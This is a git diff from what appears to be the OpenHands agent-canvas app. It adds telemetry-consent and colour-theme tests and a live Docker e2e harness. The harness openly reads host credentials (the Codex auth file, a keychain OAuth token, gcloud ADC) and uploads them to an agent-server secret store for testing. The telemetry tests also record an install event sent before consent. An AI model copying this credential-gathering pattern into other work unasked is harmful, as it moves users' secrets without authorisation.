+      await setTelemetryConsent("granted");
+
+      expect(listener).toHaveBeenCalledTimes(1);
+      unsubscribe();
+    });
+
+    it("does not mark consent mirrored from backend settings as pending", async () => {
+      await setTelemetryConsent("granted", { syncToCloud: false });
+
+      expect(getPendingCloudTelemetryConsent()).toBeNull();
+    });
+
+    it("does not re-emit PostHog opt-in for unchanged granted consent", async () => {
+      await setTelemetryConsent("granted");
+      vi.clearAllMocks();
+
+      await setTelemetryConsent("granted", { syncToCloud: false });
+
+      expect(mockPosthog.opt_in_capturing).not.toHaveBeenCalled();
+    });
+
+    it("only clears the pending decision it expects", async () => {
+      await setTelemetryConsent("granted");
+
+      clearPendingCloudTelemetryConsent("denied");
+      expect(getPendingCloudTelemetryConsent()).toBe("granted");
+
+      clearPendingCloudTelemetryConsent("granted");
+      expect(getPendingCloudTelemetryConsent()).toBeNull();
+    });
+  });
+
+  describe("isTelemetryEnabled", () => {
+    it("returns false when consent is pending", () => {
+      expect(isTelemetryEnabled()).toBe(false);
+    });
+
+    it("returns true when consent is granted", async () => {
+      await setTelemetryConsent("granted");
+      expect(isTelemetryEnabled()).toBe(true);
+    });
+
+    it("returns false when consent is denied", async () => {
+      await setTelemetryConsent("denied");
+      expect(isTelemetryEnabled()).toBe(false);
+    });
+  });
+
+  describe("trackInstall", () => {
+    it("sends install event immediately without consent (new behavior)", async () => {
+      // No consent set - should still send the install event
+      await trackInstall();
+
+      expect(mockPosthog.capture).toHaveBeenCalledTimes(1);
+      expect(mockPosthog.capture).toHaveBeenCalledWith(
+        "canvas_install",
+        expect.objectContaining({
+          platform: expect.any(String),
+          user_agent: expect.any(String),
+        }),
+      );
+    });
+
+    it("only sends install event once", async () => {
+      await trackInstall();
+      await trackInstall();
+      await trackInstall();
+
+      // Should only be called once
+      expect(mockPosthog.capture).toHaveBeenCalledTimes(1);
+    });
+
+    it("includes correct event data", async () => {
+      await trackInstall();
+
+      expect(mockPosthog.capture).toHaveBeenCalledWith(
+        "canvas_install",
+        expect.objectContaining({
+          platform: expect.any(String),
+          user_agent: expect.any(String),
+          referrer: expect.any(String),
+          url_origin: expect.any(String),
+          embedded: expect.any(Boolean),
+        }),
+      );
+    });
+
+    it("restores opt-out state after sending install event when consent not granted", async () => {
+      // No consent set
+      await trackInstall();
+
+      // Should opt out capturing after sending install event
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalled();
+    });
+
+    it("does not restore opt-out state when consent is granted", async () => {
+      // Grant consent first
+      await setTelemetryConsent("granted");
+      vi.clearAllMocks(); // Clear the opt_in call from setTelemetryConsent
+
+      await trackInstall();
+
+      // Should NOT call opt_out_capturing when consent is granted
+      expect(mockPosthog.opt_out_capturing).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("runtime do-not-track global", () => {
+    it("reports consent as denied when the global is set", () => {
+      (
+        window as unknown as Record<string, unknown>
+      ).__AGENT_CANVAS_DO_NOT_TRACK__ = true;
+
+      expect(getTelemetryConsent()).toBe("denied");
+      expect(isTelemetryEnabled()).toBe(false);
+    });
+
+    it("suppresses the install event even without consent", async () => {
+      (
+        window as unknown as Record<string, unknown>
+      ).__AGENT_CANVAS_DO_NOT_TRACK__ = true;
+
+      await trackInstall();
+
+      expect(mockPosthog.capture).not.toHaveBeenCalled();
+    });
+
+    it("does not suppress tracking when the global is not true", async () => {
+      (
+        window as unknown as Record<string, unknown>
+      ).__AGENT_CANVAS_DO_NOT_TRACK__ = false;
+
+      await trackInstall();
+
+      expect(mockPosthog.capture).toHaveBeenCalledWith(
+        "canvas_install",
+        expect.any(Object),
+      );
+    });
+  });
+
+  describe("getTelemetryDistinctId", () => {
+    it("returns null when consent is not granted", async () => {
+      await expect(getTelemetryDistinctId()).resolves.toBeNull();
+    });
+
+    it("returns the PostHog distinct ID when consent is granted", async () => {
+      await setTelemetryConsent("granted");
+
+      await expect(getTelemetryDistinctId()).resolves.toBe(
+        "ph-test-distinct-id",
+      );
+    });
+  });
+
+  describe("trackEvent", () => {
+    it("does not send event when consent is not granted", async () => {
+      await trackEvent("test_event", { foo: "bar" });
+      expect(mockPosthog.capture).not.toHaveBeenCalled();
+    });
+
+    it("sends custom event when consent is granted", async () => {
+      await setTelemetryConsent("granted");
+      await trackEvent("custom_action", { button: "submit" });
+
+      expect(mockPosthog.capture).toHaveBeenCalledWith("custom_action", {
+        button: "submit",
+      });
+    });
+
+    it("does not repair SDK opt-out or capture when consent is denied", async () => {
+      await setTelemetryConsent("denied");
+      vi.clearAllMocks();
+      mockPosthog.has_opted_out_capturing.mockReturnValue(true);
+
+      await trackEvent("custom_action");
+
+      expect(mockPosthog.opt_in_capturing).not.toHaveBeenCalled();
+      expect(mockPosthog.capture).not.toHaveBeenCalled();
+    });
+
+    it("repairs a stale SDK opt-out before a consented custom event", async () => {
+      localStorage.setItem("openhands-telemetry-consent", "granted");
+      mockPosthog.has_opted_out_capturing.mockReturnValue(true);
+
+      await trackEvent("custom_action");
+
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalledTimes(1);
+      expect(mockPosthog.capture).toHaveBeenCalledWith("custom_action", {});
+    });
+
+    it("stops an initialized client when telemetry is disabled", async () => {
+      await setTelemetryConsent("granted");
+      vi.clearAllMocks();
+
+      configureTelemetry(false);
+      await trackEvent("custom_action");
+
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalledTimes(1);
+      expect(mockPosthog.capture).not.toHaveBeenCalled();
+      configureTelemetry({});
+    });
+
+    it("does not let a consent refresh override a hard disable", async () => {
+      await setTelemetryConsent("denied");
+      configureTelemetry(false);
+      vi.clearAllMocks();
+
+      await setTelemetryConsent("granted", { syncToCloud: false });
+
+      expect(mockPosthog.opt_in_capturing).not.toHaveBeenCalled();
+      configureTelemetry({});
+    });
+  });
+
+  describe("trackSessionStart", () => {
+    it("repairs a stale SDK opt-out before recording the session", async () => {
+      localStorage.setItem("openhands-telemetry-consent", "granted");
+      mockPosthog.has_opted_out_capturing.mockReturnValue(true);
+
+      await trackSessionStart();
+
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalledTimes(1);
+      expect(mockPosthog.capture).toHaveBeenCalledWith(
+        "canvas_new_session",
+        expect.any(Object),
+      );
+    });
+  });
+
+  describe("trackException", () => {
+    it("uses the consent-aware boundary", async () => {
+      await setTelemetryConsent("granted");
+      const error = new Error("failure");
+
+      await trackException(error, { error_source: "test" });
+
+      expect(mockPosthog.captureException).toHaveBeenCalledWith(error, {
+        error_source: "test",
+      });
+    });
+  });
+
+  describe("clearTelemetryData", () => {
+    it("clears all telemetry data from localStorage", async () => {
+      await setTelemetryConsent("granted");
+      await setTelemetryIdentity("user-a");
+      localStorage.setItem("openhands-telemetry-first-use", "true");
+
+      await clearTelemetryData();
+
+      expect(localStorage.getItem("openhands-telemetry-consent")).toBeNull();
+      expect(getPendingCloudTelemetryConsent()).toBeNull();
+      expect(localStorage.getItem("openhands-telemetry-first-use")).toBeNull();
+      expect(mockPosthog.reset).toHaveBeenCalledWith(true);
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalled();
+      await expect(getTelemetryDistinctIdForConsentSync()).resolves.toBe(
+        "user-a",
+      );
+    });
+
+    it("falls back to opting out if the SDK cannot reset", async () => {
+      await setTelemetryConsent("granted");
+      mockPosthog.reset.mockImplementationOnce(() => {
+        throw new Error("reset failed");
+      });
+      vi.clearAllMocks();
+
+      await expect(clearTelemetryData()).resolves.toBeUndefined();
+
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalledOnce();
+    });
+  });
+
+  describe("PostHog integration", () => {
+    it("calls opt_in_capturing when consent is granted", async () => {
+      await setTelemetryConsent("granted");
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalled();
+    });
+
+    it("calls opt_out_capturing when consent is denied", async () => {
+      await setTelemetryConsent("denied");
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalled();
+    });
+  });
+});
diff --git a/__tests__/themes/color-themes.test.tsx b/__tests__/themes/color-themes.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e4eeb688916ce689c2a9c30b489c2d26f2701810
--- /dev/null
+++ b/__tests__/themes/color-themes.test.tsx
@@ -0,0 +1,103 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { AgentServerUIRoot } from "#/components/providers/agent-server-ui-root";
+import {
+  AVAILABLE_COLOR_THEMES,
+  COLOR_THEMES,
+  applyColorTheme,
+} from "#/themes/color-themes";
+
+describe("color themes", () => {
+  it("includes OpenHands-Neo as a neutral-based theme with white button tokens", () => {
+    const neo = COLOR_THEMES["openhands-neo"];
+
+    expect(neo.label).toBe("OpenHands-Neo");
+    expect(neo.scale).toEqual(COLOR_THEMES["openhands-neutral"].scale);
+    expect(neo.heroui).toEqual(COLOR_THEMES["openhands-neutral"].heroui);
+    expect(neo.tokens?.["--oh-color-primary"]).toBe("#ffffff");
+    expect(neo.tokens?.["--oh-accent"]).toBe("#ffffff");
+  });
+
+  it("exposes Neo in the settings theme picker", () => {
+    expect(AVAILABLE_COLOR_THEMES.map((theme) => theme.key)).toContain(
+      "openhands-neo",
+    );
+    expect(
+      AVAILABLE_COLOR_THEMES.find((theme) => theme.key === "openhands-neo")
+        ?.label,
+    ).toBe("OpenHands-Neo");
+  });
+
+  it("injects white primary tokens when applying OpenHands-Neo", () => {
+    document.body.setAttribute("data-agent-server-ui", "");
+
+    applyColorTheme("openhands-neo");
+
+    const styleEl = document.getElementById("oh-color-theme-override");
+    expect(styleEl?.textContent).toContain("--oh-color-primary: #ffffff;");
+    expect(styleEl?.textContent).toContain("--oh-accent: #ffffff;");
+
+    styleEl?.remove();
+    document.body.removeAttribute("data-agent-server-ui");
+    document.body.style.removeProperty("--oh-color-primary");
+    document.body.style.removeProperty("--oh-accent");
+    document.body.style.removeProperty("--oh-warning");
+  });
+
+  it("injects override rules with order-independent doubled scope selectors", () => {
+    // Act
+    applyColorTheme("openhands-neutral");
+
+    // Assert: doubled selectors (0,2,0) out-specify the base sheet's unlayered
+    // [data-agent-server-ui] variable rules (0,1,0), so the override wins even
+    // when React 19 re-inserts the base stylesheet <link> after this tag.
+    const styleEl = document.getElementById("oh-color-theme-override");
+    expect(styleEl?.textContent).toContain(
+      "[data-agent-server-ui][data-agent-server-ui] {",
+    );
+    expect(styleEl?.textContent).toContain("[data-theme=dark][data-theme=dark] {");
+
+    styleEl?.remove();
+  });
+
+  it("re-appends the override style tag to the end of <head> on every apply", () => {
+    // Arrange: first apply creates the tag, then a later stylesheet lands
+    // after it (as React 19 does with the base CSS <link> in the built SPA).
+    applyColorTheme("openhands-neutral");
+    const laterSheet = document.createElement("style");
+    document.head.appendChild(laterSheet);
+
+    // Act
+    applyColorTheme("openhands-deepsea");
+
+    // Assert
+    expect(document.head.lastElementChild?.id).toBe("oh-color-theme-override");
+
+    laterSheet.remove();
+    document.getElementById("oh-color-theme-override")?.remove();
+  });
+
+  it("applies Neo button tokens on the scoped UI root used by primary buttons", () => {
+    render(
+      <AgentServerUIRoot>
+        <button type="button" data-testid="primary-button">
+          Save
+        </button>
+      </AgentServerUIRoot>,
+    );
+
+    applyColorTheme("openhands-neo");
+
+    const scopeRoot = screen.getByTestId("primary-button").closest(
+      "[data-agent-server-ui]",
+    ) as HTMLElement;
+
+    expect(scopeRoot.style.getPropertyValue("--oh-color-primary")).toBe(
+      "#ffffff",
+    );
+
+    applyColorTheme("openhands-neutral");
+
+    expect(scopeRoot.style.getPropertyValue("--oh-color-primary")).toBe("");
+  });
+});
diff --git a/electron/build-resources/icon.icns b/electron/build-resources/icon.icns
new file mode 100644
index 0000000000000000000000000000000000000000..3edaaa8199b6e596c2445c4fcc2925ddb2139575
--- /dev/null
+++ b/electron/build-resources/icon.icns
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:6e29e4f6bdeeaff5a6c6d962d3c51411753fa511dae875b3041103964d24756b
+size 112968
diff --git a/tests/e2e/live-acp/README.md b/tests/e2e/live-acp/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..f4b6e02b0a2cb5fad48c0d55173aad43eba275de
--- /dev/null
+++ b/tests/e2e/live-acp/README.md
@@ -0,0 +1,76 @@
+# Live ACP-in-Docker e2e
+
+Proves the containerized ACP credential path **through Canvas's own code** —
+each credential is saved to the agent-server's secret store (as onboarding does)
+and `buildStartConversationRequest` references it as a `LookupSecret` the server
+resolves at spawn time — against a real agent-server container, with real
+provider API calls. It's the "it actually works" companion to the unit tests in
+`__tests__/api/agent-server-adapter.test.ts` — those assert the request shape;
+this asserts a real agent reply.
+
+> **Requires `agent-server:1.25.0-python` or newer** (software-agent-sdk#3510):
+> the ACP credentials ride as loopback LookupSecrets, and only #3510 resolves
+> them off the event loop. An older image deadlocks the first turn.
+
+It is **not** part of `npm test` (it lives under `tests/`, which Vitest excludes,
+and needs a running container + real host credentials).
+
+## Run it
+
+```bash
+# 1. Agent-server container. v1.28.0 adds the client_tools API used by Canvas.
+#    The Python mount keeps pre-migration conversation state loadable.
+docker run -d --name oh-acp -p 8010:8000 \
+  -v oh-acp-data:/workspace \
+  -v "$(pwd)/tools:/canvas-tools:ro" -e OH_EXTRA_PYTHON_PATH=/canvas-tools \
+  ghcr.io/openhands/agent-server:1.28.0-python
+
+# 2. Run the e2e (all providers, or a subset).
+npx vite-node -c tests/e2e/live-acp/vite-node.config.mts \
+  tests/e2e/live-acp/acp-docker-e2e.mts -- codex claude gemini
+
+# 3. Tear down (holds real creds).
+docker rm -f oh-acp
+```
+
+Credentials are read from the host and **never printed**: Codex `~/.codex/auth.json`,
+the Claude Code OAuth token from the macOS keychain, and the gcloud ADC for Gemini
+Vertex (`gcloud auth application-default login` first). A provider whose creds
+aren't present is skipped.
+
+The provider plans (models, credential collectors) and the HTTP/poll helpers are
+shared between both scripts via `harness.mts` — change a model default or
+credential knob there, not per script.
+
+## Last validated result (agent-server `1.25.0-python`, unified LookupSecret path)
+
+Re-validated 2026-06-07 against `ghcr.io/openhands/agent-server:1.25.0-python`
+(the first release with software-agent-sdk#3510), on a **fresh volume** — every
+credential seeded from the secret store, no leftover state. Each credential
+rides as a loopback `LookupSecret`; the logs confirm the agent-server resolved
+it (`GET /api/settings/secrets/<name>` 200) during ACP cold-start — **no
+deadlock, no "Failed to start ACP server: timed out"**, which is exactly what
+#3510 fixes. Codex and Claude also passed the app-orchestrator script
+(`acp-docker-app-e2e.mts`).
+
+| Provider | Result | Evidence (agent-server logs) |
+|---|---|---|
+| **Codex** | ✅ real reply `ACPOK-CODEX` (both scripts) | `Materialised ACP file-secret 'CODEX_AUTH_JSON' -> …/acp/codex/auth.json`; codex-acp 0.15.0; `Authenticating with ACP method: chatgpt` |
+| **Claude Code** | ✅ real reply `ACPOK-CLAUDE` (both scripts) | claude-agent-acp 0.30.0; `CLAUDE_CODE_OAUTH_TOKEN` env path (no `ANTHROPIC_BASE_URL`) |
+| **Gemini CLI** | ✅ real reply `ACPOK-GEMINI`¹ | `Materialised ACP file-secret 'GOOGLE_APPLICATION_CREDENTIALS_JSON' -> …/acp/gemini-cli/gcloud-credentials.json`; gemini-cli 0.45.1; `Authenticating with ACP method: vertex-ai` → real Vertex inference on `gemini-2.5-pro` |
+
+¹ **Gemini prerequisites.** The full turn passes with: a **fresh** host ADC
+(`gcloud auth application-default login` — a stale one fails as `invalid_rapt`,
+a credential problem, not a Canvas one), the **non-flash** `gemini-2.5-pro`
+model (gemini-cli 0.45.x re-resolves any `*-flash` id at generation time to its
+current default flash, which 404s on projects that don't serve it —
+software-agent-sdk#3532; this is why Canvas preselects `gemini-2.5-pro`), and
+`ACP_E2E_GEMINI_SESSION_MODE=default` to clear the separate gemini-cli ≥0.43
+`set_session_mode("yolo")` headless-init blocker.
+
+## Knobs
+
+- `ACP_E2E_BASE_URL` (default `http://localhost:8010`)
+- `ACP_E2E_CODEX_MODEL` / `ACP_E2E_CLAUDE_MODEL` / `ACP_E2E_GEMINI_MODEL`
+- `ACP_E2E_GEMINI_SESSION_MODE` (set `default` to bypass the SDK `yolo` blocker)
+- `GOOGLE_CLOUD_PROJECT` / `GOOGLE_CLOUD_LOCATION` (else read from gcloud / `us-central1`)
diff --git a/tests/e2e/live-acp/acp-docker-app-e2e.mts b/tests/e2e/live-acp/acp-docker-app-e2e.mts
new file mode 100644
index 0000000000000000000000000000000000000000..3e419558b630599f257617a537733d11e8fff701
--- /dev/null
+++ b/tests/e2e/live-acp/acp-docker-app-e2e.mts
@@ -0,0 +1,134 @@
+/**
+ * Live e2e through the APPLICATION's own conversation-start path (not the
+ * isolated request builder). Drives the same functions the running app calls:
+ *
+ *   onboarding "Set up credentials"  -> SecretsService.createSecret(name, value)
+ *   choose-agent step                -> buildAcpAgentSettingsDiff(...) PATCH /api/settings
+ *   conversation start               -> buildStartConversationRequestWithEncryptedSettings(...)
+ *                                         (reads settings + the saved secret NAMES,
+ *                                          emits each as a LookupSecret the
+ *                                          agent-server resolves from its store)
+ *
+ * This is the piece the request-builder script can't cover: it proves the saved
+ * credentials round-trip through the backend store and the orchestrator emits
+ * the right LookupSecrets, end-to-end, against a real container.
+ *
+ * Requires an agent-server with software-agent-sdk#3510 (first in v1.25.0) —
+ * ACP credentials resolve off the event loop; an older image deadlocks.
+ *
+ *   npx vite-node -c tests/e2e/live-acp/vite-node.config.mts \
+ *     tests/e2e/live-acp/acp-docker-app-e2e.mts -- codex
+ *
+ * One provider per process (settings are global on the backend; a fresh process
+ * avoids the SettingsService cache bleeding between providers).
+ *
+ * The provider plans, host credential collectors, and HTTP/poll helpers are
+ * shared with the request-builder script — see ./harness.mts.
+ */
+import { SecretsService } from "#/api/secrets-service";
+import { buildStartConversationRequestWithEncryptedSettings } from "#/api/agent-server-adapter";
+import { buildAcpAgentSettingsDiff } from "#/constants/acp-providers";
+import { SettingsClient } from "@openhands/typescript-client/clients";
+import { getAgentServerClientOptions } from "#/api/agent-server-client-options";
+import {
+  BASE,
+  fetchFinalReply,
+  getProviderPlan,
+  pollUntilTerminal,
+  postJson,
+  registerDockerBackend,
+  type ProviderPlan,
+} from "./harness.mts";
+
+registerDockerBackend();
+
+async function run(plan: ProviderPlan): Promise<boolean> {
+  const secrets = plan.collectSecrets();
+  if (!secrets) {
+    console.log(`⏭️  ${plan.id}: SKIP — credentials not present on host`);
+    return true;
+  }
+
+  const settingsClient = new SettingsClient(getAgentServerClientOptions());
+
+  // 1) onboarding "Set up credentials" — save each container cred as a global
+  //    secret via the SAME service call the SetupAcpSecretsStep makes.
+  console.log(
+    `▶️  ${plan.id}: saving container creds via SecretsService.createSecret [${Object.keys(
+      secrets,
+    ).join(", ")}]`,
+  );
+  for (const [name, value] of Object.entries(secrets)) {
+    await SecretsService.createSecret(name, value);
+  }
+
+  // 2) choose-agent step — persist ACP agent settings via the app's diff builder.
+  const diff = buildAcpAgentSettingsDiff(plan.acpServer, { model: plan.model });
+  if (!diff) throw new Error(`no settings diff for ${plan.acpServer}`);
+  if (plan.sessionMode) diff.acp_session_mode = plan.sessionMode;
+  await settingsClient.updateSettings({ agent_settings_diff: diff });
+  console.log(
+    `   PATCHed agent settings: ${JSON.stringify({
+      acp_server: diff.acp_server,
+      acp_model: diff.acp_model,
+      ...(plan.sessionMode ? { acp_session_mode: plan.sessionMode } : {}),
+    })}`,
+  );
+
+  // 3) conversation start — the app's own orchestrator. It re-reads settings +
+  //    the saved secret names and emits each as a LookupSecret.
+  const workingDir = `/workspace/app-e2e/${plan.id}-${Date.now()}`;
+  const payload = (await buildStartConversationRequestWithEncryptedSettings({
+    settings: undefined as any, // base settings come from the backend fetch
+    query: `Reply with exactly: ${plan.expectedToken}`,
+    workingDir,
+  })) as any;
+
+  const emitted = payload.secrets ?? {};
+  console.log(
+    `   orchestrator emitted secrets: ${Object.entries(emitted)
+      .map(([k, v]: any) => `${k}=${v.kind}`)
+      .join(", ")}`,
+  );
+  // Assert the orchestrator emitted a LookupSecret for each saved credential.
+  const missing = Object.keys(secrets).filter(
+    (n) => emitted[n]?.kind !== "LookupSecret",
+  );
+  if (missing.length > 0) {
+    console.log(
+      `   ❌ ${plan.id}: orchestrator did NOT emit a LookupSecret for: ${missing.join(", ")}`,
+    );
+    return false;
+  }
+
+  const created = await postJson(`${BASE}/api/conversations`, payload);
+  const id = created.id;
+  console.log(`   conversation ${id} created; polling…`);
+
+  const status = await pollUntilTerminal(id);
+  const reply = await fetchFinalReply(id);
+  const ok = reply.includes(plan.expectedToken);
+  console.log(
+    `   status=${status} reply=${JSON.stringify(reply.slice(0, 160))}`,
+  );
+  console.log(`   ${ok ? "✅ PASS" : "❌ FAIL"} (expected "${plan.expectedToken}")`);
+  return ok;
+}
+
+async function main() {
+  const args = process.argv.slice(2).filter((a) => a !== "--");
+  const plan = args[0] ? getProviderPlan(args[0]) : undefined;
+  if (!plan) {
+    console.error(`usage: ... acp-docker-app-e2e.mts -- <codex|claude|gemini>`);
+    process.exit(2);
+  }
+  console.log(`App-path e2e against ${BASE} — provider: ${plan.id}`);
+  const ok = await run(plan).catch((e) => {
+    console.error(`   ❌ ${plan.id} errored: ${(e as Error).message}`);
+    return false;
+  });
+  console.log(ok ? "\nPASS" : "\nFAIL");
+  process.exit(ok ? 0 : 1);
+}
+
+main();
diff --git a/tests/e2e/live-acp/acp-docker-e2e.mts b/tests/e2e/live-acp/acp-docker-e2e.mts
new file mode 100644
index 0000000000000000000000000000000000000000..0ed722313da0ee7db3e31285ee6537d6743565fe
--- /dev/null
+++ b/tests/e2e/live-acp/acp-docker-e2e.mts
@@ -0,0 +1,185 @@
+/**
+ * Live e2e for the containerized ACP path (agent-canvas#1013/#1014).
+ *
+ * Exercises CANVAS'S OWN code path — it saves each credential to the
+ * agent-server's secret store via {@link SecretsService.createSecret} (exactly
+ * as onboarding does), then imports {@link buildStartConversationRequest} and
+ * builds each provider's start request as the app does, POSTs it to a real
+ * agent-server container, and asserts a real agent reply. This is the
+ * "it actually works" check the unit tests can't give: it proves the
+ * LookupSecrets Canvas emits resolve back from the store and authenticate the
+ * CLI end-to-end (including the SDK's acp_file_secrets materialisation).
+ *
+ * Requires agent-server v1.28.0: it includes both software-agent-sdk#3510 for
+ * off-loop LookupSecret resolution and the client_tools API used by
+ * canvas_ui_control. Older images either deadlock resolving ACP credentials or
+ * omit the Canvas UI tool.
+ *
+ * Excluded from `npm test` (lives under tests/). Run it by hand against a
+ * running container:
+ *
+ *   docker run -d --name oh-acp -p 8010:8000 -v oh-acp-data:/workspace \
+ *     -v "$(pwd)/tools:/canvas-tools:ro" -e OH_EXTRA_PYTHON_PATH=/canvas-tools \
+ *     ghcr.io/openhands/agent-server:1.28.0-python
+ *   npx vite-node -c tests/e2e/live-acp/vite-node.config.mts \
+ *     tests/e2e/live-acp/acp-docker-e2e.mts -- codex claude gemini
+ *
+ * The provider plans, host credential collectors, and HTTP/poll helpers are
+ * shared with the app-path script — see ./harness.mts. A provider whose
+ * credentials aren't present on the host is skipped.
+ */
+import { SecretsService } from "#/api/secrets-service";
+import { buildStartConversationRequest } from "#/api/agent-server-adapter";
+import { DEFAULT_SETTINGS } from "#/services/settings";
+import {
+  BASE,
+  PROVIDER_PLANS,
+  fetchFinalReply,
+  pollUntilTerminal,
+  postJson,
+  registerDockerBackend,
+  type ProviderId,
+  type ProviderPlan,
+} from "./harness.mts";
+
+registerDockerBackend();
+
+// Canvas gives every conversation its OWN working_dir (<base>/<id_hex>) so the
+// agent-server can init a fresh git repo + worktree per conversation. Mirror
+// that here with a unique dir per run/provider — sharing one dir makes the
+// second `git worktree add` collide on the same repo.
+const WORKING_DIR_BASE =
+  process.env.ACP_E2E_WORKING_DIR_BASE ?? "/workspace/acp-e2e";
+
+function buildRequest(
+  plan: ProviderPlan,
+  secretNames: string[],
+  workingDir: string,
+) {
+  // Build via the same function the app uses — this is the whole point of the
+  // exercise. Each saved credential is referenced by name as a LookupSecret; the
+  // agent-server resolves the value back from its own store (where the
+  // SecretsService.createSecret calls above put it) at spawn time.
+  return buildStartConversationRequest({
+    settings: {
+      ...DEFAULT_SETTINGS,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        agent_kind: "acp",
+        acp_server: plan.acpServer,
+        acp_model: plan.model,
+        ...(plan.sessionMode ? { acp_session_mode: plan.sessionMode } : {}),
+      },
+      conversation_settings: {
+        ...DEFAULT_SETTINGS.conversation_settings,
+        max_iterations: 8,
+      },
+    },
+    query: `Reply with exactly: ${plan.expectedToken}`,
+    workingDir,
+    customSecrets: secretNames.map((name) => ({ name })),
+  });
+}
+
+async function runProvider(plan: ProviderPlan): Promise<boolean> {
+  const secrets = plan.collectSecrets();
+  if (!secrets) {
+    console.log(`\n⏭️  ${plan.id}: SKIP — credentials not present on host`);
+    return true; // skip is not a failure
+  }
+  console.log(
+    `\n▶️  ${plan.id}: building request via buildStartConversationRequest ` +
+      `(acp_server=${plan.acpServer}, acp_model=${plan.model}, ` +
+      `secrets=[${Object.keys(secrets).join(", ")}])`,
+  );
+
+  // Onboarding step: save each credential to the agent-server's secret store so
+  // the LookupSecret the start request emits can be resolved back.
+  for (const [name, value] of Object.entries(secrets)) {
+    await SecretsService.createSecret(name, value);
+  }
+
+  const workingDir = `${WORKING_DIR_BASE}/${plan.id}-${Date.now()}`;
+  const payload = buildRequest(plan, Object.keys(secrets), workingDir);
+  // Sanity-check the request the app would send, without leaking values.
+  const emitted = payload.secrets as Record<string, { kind: string }>;
+  console.log(
+    `   emitted secret kinds: ${Object.entries(emitted ?? {})
+      .map(([k, v]) => `${k}=${v.kind}`)
+      .join(", ")}`,
+  );
+  const notLookup = Object.entries(emitted ?? {}).filter(
+    ([, v]) => v.kind !== "LookupSecret",
+  );
+  if (notLookup.length > 0) {
+    console.log(
+      `   ❌ ${plan.id}: expected all secrets as LookupSecret, got ${notLookup
+        .map(([k, v]) => `${k}=${v.kind}`)
+        .join(", ")}`,
+    );
+    return false;
+  }
+
+  const created = await postJson(`${BASE}/api/conversations`, payload);
+  const id = created.id;
+  console.log(`   conversation ${id} created; polling…`);
+
+  const status = await pollUntilTerminal(id);
+  console.log(`   execution_status=${status}`);
+
+  const reply = await fetchFinalReply(id);
+  const ok = reply.includes(plan.expectedToken);
+  console.log(
+    `   reply: ${JSON.stringify(reply.slice(0, 200))}\n   ${
+      ok ? "✅ PASS" : "❌ FAIL"
+    } (expected to contain "${plan.expectedToken}")`,
+  );
+  if (!ok && plan.id === "gemini" && !plan.sessionMode && status === "error") {
+    // The credential path (materialise ADC → vertex-ai auth) is what this PR
+    // proves; gemini-cli ≥0.43 rejects the registry default session mode
+    // ("yolo") during headless init — an SDK/gemini-cli issue, not a credential
+    // one. Re-run with the override to confirm the full turn.
+    console.log(
+      "   ℹ️  Likely the SDK/gemini-cli set_session_mode('yolo') blocker, not a " +
+        "credential problem. Re-run with ACP_E2E_GEMINI_SESSION_MODE=default to " +
+        "confirm the credential path end-to-end.",
+    );
+  }
+  return ok;
+}
+
+async function main() {
+  const args = process.argv.slice(2).filter((a) => a !== "--");
+  const selected =
+    args.length > 0
+      ? PROVIDER_PLANS.filter((p) => args.includes(p.id))
+      : PROVIDER_PLANS;
+
+  console.log(`ACP Docker e2e against ${BASE} — providers: ${selected
+    .map((p) => p.id)
+    .join(", ")}`);
+
+  const results: Array<{ id: ProviderId; ok: boolean }> = [];
+  for (const plan of selected) {
+    try {
+      results.push({ id: plan.id, ok: await runProvider(plan) });
+    } catch (error) {
+      console.log(`   ❌ ${plan.id} errored: ${(error as Error).message}`);
+      results.push({ id: plan.id, ok: false });
+    }
+  }
+
+  console.log("\n=== summary ===");
+  for (const r of results) console.log(`  ${r.ok ? "✅" : "❌"} ${r.id}`);
+  const failed = results.filter((r) => !r.ok);
+  if (failed.length > 0) {
+    console.log(`\n${failed.length} provider(s) failed.`);
+    process.exit(1);
+  }
+  console.log("\nAll selected providers passed.");
+}
+
+main().catch((error) => {
+  console.error(error);
+  process.exit(1);
+});
diff --git a/tests/e2e/live-acp/harness.mts b/tests/e2e/live-acp/harness.mts
new file mode 100644
index 0000000000000000000000000000000000000000..2020bfc8c7d0012484f23772225f708beff13fee
--- /dev/null
+++ b/tests/e2e/live-acp/harness.mts
@@ -0,0 +1,212 @@
+/**
+ * Shared plumbing for the live ACP-in-Docker e2e scripts
+ * (`acp-docker-e2e.mts` — request-builder path; `acp-docker-app-e2e.mts` —
+ * full app-orchestrator path): the per-provider plans + host credential
+ * collectors, the backend registration, and the HTTP/poll helpers. Keeping the
+ * plans in one place means a model default or credential knob can't drift
+ * between the two scripts.
+ *
+ * Credentials are read from the host and never printed: Codex
+ * ~/.codex/auth.json, the Claude Code OAuth token from the macOS keychain, and
+ * the gcloud ADC for Gemini Vertex.
+ */
+import { execFileSync } from "node:child_process";
+import { readFileSync } from "node:fs";
+import { homedir } from "node:os";
+import path from "node:path";
+
+import {
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+
+export const BASE = process.env.ACP_E2E_BASE_URL ?? "http://localhost:8010";
+export const POLL_TIMEOUT_MS = Number(
+  process.env.ACP_E2E_TIMEOUT_MS ?? 180_000,
+);
+
+/**
+ * Point the app's backend registry at the container, exactly as if the user
+ * had added it in the backend selector. Everything downstream (SecretsService,
+ * SettingsService, buildStartConversationRequest's LookupSecret auth headers)
+ * resolves the host through this.
+ */
+export function registerDockerBackend(): void {
+  setRegisteredBackends([
+    {
+      id: "acp-docker",
+      name: "ACP Docker",
+      host: BASE,
+      apiKey: "",
+      kind: "local",
+    },
+  ]);
+  setActiveSelection({ backendId: "acp-docker", orgId: null });
+}
+
+export type ProviderId = "codex" | "claude" | "gemini";
+
+export interface ProviderPlan {
+  id: ProviderId;
